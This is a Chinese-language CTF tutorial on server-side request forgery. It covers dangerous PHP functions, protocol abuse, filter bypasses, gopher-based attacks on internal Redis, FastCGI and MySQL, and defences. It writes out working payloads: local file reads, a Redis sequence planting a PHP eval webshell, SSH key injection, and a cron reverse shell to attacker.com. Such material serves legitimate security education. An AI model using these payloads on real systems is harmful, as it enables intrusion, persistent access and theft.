CTF SSRF 漏洞从0到1
字数 1992 2025-08-15 21:33:54
SSRF漏洞从0到1全面指南
1. SSRF基础概念
1.1 定义
SSRF(Server-Side Request Forgery)是一种由攻击者构造形成并由服务端发起恶意请求的安全漏洞。由于请求由服务端发起,可以访问与自身相连而与外网隔绝的内部网络系统。
1.2 漏洞成因
服务端提供了从其他服务器获取数据的功能但未对目标地址做过滤和限制,例如:
- 获取URL内容的社交分享功能
- 网页转码服务
- 在线翻译服务
- 图片加载/下载功能
- 云服务厂商的网站存活检测
1.3 常见存在点
- 社交分享功能
- 转码服务
- 在线翻译
- 图片加载/下载
- 云服务厂商
- 网站采集功能
- 数据库内置功能(如MongoDB的copyDatabase)
- 邮件系统
- 文件处理(ImageMagick等)
2. SSRF危害
- 端口扫描:扫描内外网端口,获取服务banner信息
- 攻击内网应用:如Redis、MySQL、FastCGI等
- 内网Web指纹识别:识别内部资产信息
- 攻击Web应用:利用HTTP请求实现SQL注入、文件上传等
- 读取本地文件:利用file协议
- 跳板攻击
3. 相关危险函数
3.1 PHP危险函数
file_get_contents():读取文件或URL内容readfile():输出文件内容fsockopen():打开网络/套接字连接curl_exec():执行cURL会话fopen():打开文件或URLSoapClient类:反序列化时可导致SSRF
3.2 函数利用示例
file_get_contents()
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>
Payload: ssrf.php?url=/etc/passwd
fsockopen()
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
// ...
?>
curl_exec()
<?php
$link = $_GET['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_URL,$link);
// ...
?>
SoapClient
<?php
$a = new SoapClient(null,array(
'uri'=>'http://attacker.com',
'location'=>'http://attacker.com/aaa'
));
$b = serialize($a);
// ...
?>
4. 利用协议
4.1 常用协议
- file协议:读取本地文件
- dict协议:获取软件版本信息,操作内网Redis等
- gopher协议:万能协议,支持GET/POST请求
- http/s协议:探测内网主机存活
4.2 协议利用示例
file协议
ssrf.php?url=file:///etc/passwd
http/s协议(内网探测)
ssrf.php?url=http://192.168.1.1
dict协议
ssrf.php?url=dict://192.168.1.1:6379/info
5. 绕过技巧
5.1 基本绕过方法
- HTTP基本认证:
http://www.xxx.com@www.evil.com - 302跳转:
- 使用
http://xip.io服务 - 使用短网址服务
- 使用
- 进制转换:使用不同进制表示IP
- 特殊地址:
http://localhost/http://0/http://[::]/http://127。0。0。1/(中文句号)
5.2 解析差异绕过
- readfile与parse_url差异:
ssrf.php?url=127.0.0.1:11211:80/flag.txt - curl与parse_url差异:
ssrf.php?url=http://@127.0.0.1:80@www.baidu.com/flag.php
6. Gopher协议高级利用
6.1 Gopher协议格式
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
6.2 构造HTTP请求
GET请求示例
import urllib.parse
payload = """GET /echo.php?whoami=Bunny HTTP/1.1
Host: target.com
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://target.com:80/'+'_'+new
print(result)
POST请求示例
payload = """POST /echo.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
whoami=Bunny"""
6.3 攻击内网服务
攻击Redis
-
写WebShell:
flushall set 1 '<?php eval($_POST["cmd"]);?>' config set dir /var/www/html config set dbfilename shell.php save -
写SSH公钥:
flushall set 1 '\n\nssh-rsa AAAAB3Nza...\n\n' config set dir /root/.ssh/ config set dbfilename authorized_keys save -
计划任务反弹Shell:
flushall set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n' config set dir /var/spool/cron/ config set dbfilename root save
攻击FastCGI
使用工具生成payload:
python gopherus.py --exploit fastcgi /var/www/html/index.php
攻击MySQL
python gopherus.py --exploit mysql username
7. 防御措施
- 过滤输入:检查用户输入的URL
- 限制协议:禁用危险协议(file、gopher、dict等)
- 设置白名单:只允许访问特定域名/IP
- 禁用重定向:防止302跳转绕过
- 网络隔离:限制服务器出站连接
- 错误信息处理:避免泄露敏感信息
8. 实战案例
8.1 攻击内网Redis
- 扫描发现内网Redis服务(6379端口)
- 构造Redis命令序列
- 转换为Gopher协议格式
- 通过SSRF漏洞发送payload
8.2 攻击FastCGI
- 确认目标存在php-fpm(9000端口)
- 使用工具生成攻击payload
- 转换为Gopher协议格式
- 通过SSRF发送payload执行命令
9. 学习资源
这份文档全面涵盖了SSRF漏洞的各个方面,从基础概念到高级利用技术,以及防御措施和实战案例。重点突出了Gopher协议的利用和不同内网服务的攻击方法,同时提供了实用的绕过技巧和防御建议。